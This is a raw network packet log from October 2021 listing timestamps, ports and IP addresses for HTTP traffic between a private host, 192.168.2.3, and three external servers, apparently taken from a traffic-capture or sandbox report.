Oct 29, 2021 20:30:02.462714911 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.462735891 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.462757111 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.462770939 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.462776899 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.462779045 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.462800980 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.462822914 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.462843895 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.462861061 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.462865114 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.462867022 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.462888002 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.462908030 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.462929010 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.462950945 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.462960005 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.462965965 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.462973118 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.462995052 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.463015079 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.463027000 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.463032007 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.463037014 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.463058949 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.463078976 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.463100910 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.463119030 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.463121891 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.463126898 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.463145018 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.463165998 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.463186979 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.463213921 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.463219881 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.463221073 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.463241100 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.463262081 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.463283062 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.463299990 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.463305950 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.463305950 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.463326931 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.463349104 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.463371038 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.463392019 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.463402987 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.463407993 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.463413000 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.463434935 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.463455915 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.463478088 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.463479042 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.463484049 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.463500977 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.463522911 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.463546038 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.463567972 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.463583946 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.463591099 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.463592052 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.463613033 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.463641882 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.463654041 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.463661909 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.463668108 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.463676929 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.463699102 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.463721037 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.463747978 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.463753939 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.463757038 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.463782072 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.463819027 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.463855028 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.463862896 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.503093958 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.503117085 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.503129959 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.503146887 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.503221989 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.503247023 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.521536112 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.521601915 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.521615028 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.521627903 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.521650076 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.521673918 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.521677971 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.521812916 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.521821976 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.524776936 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.524801970 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.524821997 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.524859905 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.524876118 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.524899006 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.524902105 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.524928093 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.524945974 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.525085926 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.525134087 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.525151968 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.525173903 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.525185108 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.525197983 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.525217056 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.525219917 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.525722027 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.525763035 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.543117046 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.543140888 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.543351889 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.543378115 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.543399096 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.543421984 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.543442965 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.543445110 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.543472052 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.543502092 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.543525934 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.543548107 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.543570042 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.543591976 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.543612003 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.543612003 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.543617010 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.543632030 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.543653965 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.543672085 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.543674946 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.543675900 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.544801950 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.544825077 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.544842005 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.544883966 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.544891119 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.544900894 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.544918060 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.544933081 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.544950962 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.544966936 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.544974089 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.544975042 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.544984102 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.544991970 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545008898 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545030117 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.545033932 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.545034885 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545058012 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545069933 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.545078039 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545085907 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545099020 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545120001 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545135975 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.545140982 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.545142889 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545150042 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545159101 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545176029 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545192957 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545207977 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545212984 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.545223951 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545229912 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.545239925 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545242071 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.545255899 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545272112 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545286894 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545295954 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.545309067 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545325994 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545341015 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545344114 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.545347929 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.545357943 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545373917 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545389891 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545404911 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545420885 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545424938 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.545432091 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.545437098 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545452118 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545476913 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545488119 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.545491934 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.545502901 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545525074 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545545101 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545552969 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.545562983 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545581102 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545597076 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545604944 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.545609951 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.545614958 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545630932 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545646906 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545654058 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.545663118 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545680046 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545696020 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545718908 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.545725107 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.545726061 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545730114 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545747995 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545764923 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545780897 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545782089 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.545785904 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.545798063 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545814037 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545829058 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545839071 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.545842886 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.545845985 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545865059 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545885086 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545900106 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545902967 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.545906067 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.545917988 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545933008 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545948982 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545965910 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545969963 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.545974970 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.545981884 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.545998096 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.546019077 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.546027899 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.546031952 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.546036005 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.546051979 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.546067953 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.546083927 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.546099901 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.546103001 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.546107054 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.546117067 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.546132088 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.546147108 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.546163082 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.546170950 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.546175003 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.546189070 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.546211958 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.546251059 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.546253920 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.546313047 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.546345949 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.546361923 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.546382904 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.546406031 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.546406031 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.546423912 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.546427965 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.546451092 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.546473026 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.546494961 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.546514034 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.546516895 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.547111034 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.552691936 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.552725077 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.552737951 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.552750111 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.552824020 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.552870035 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.555160046 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.555185080 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.555201054 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.555217028 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.555224895 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.555233955 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.555250883 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.555269003 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.555315971 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.555330038 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.555696011 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.559098005 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.559130907 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.559159040 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.559176922 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.559196949 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.559221983 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.559220076 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.559238911 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.559267998 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.559313059 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.559334993 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.559357882 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.584978104 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.585028887 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.585057974 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.585087061 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.585119009 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.585133076 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.585149050 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.585149050 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.585179090 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.585210085 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.585237026 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.585266113 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.585269928 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.585273981 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.585297108 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.585328102 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.585356951 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.585366964 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.585370064 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.585386038 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.585414886 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.585444927 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.585472107 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.585489035 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.585494041 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.585503101 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.585530996 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.585566998 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.585570097 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.585602045 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.585659027 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.585664034 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.585664988 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.585695028 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.585722923 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.585750103 CEST	80	49877	193.56.146.214	192.168.2.3
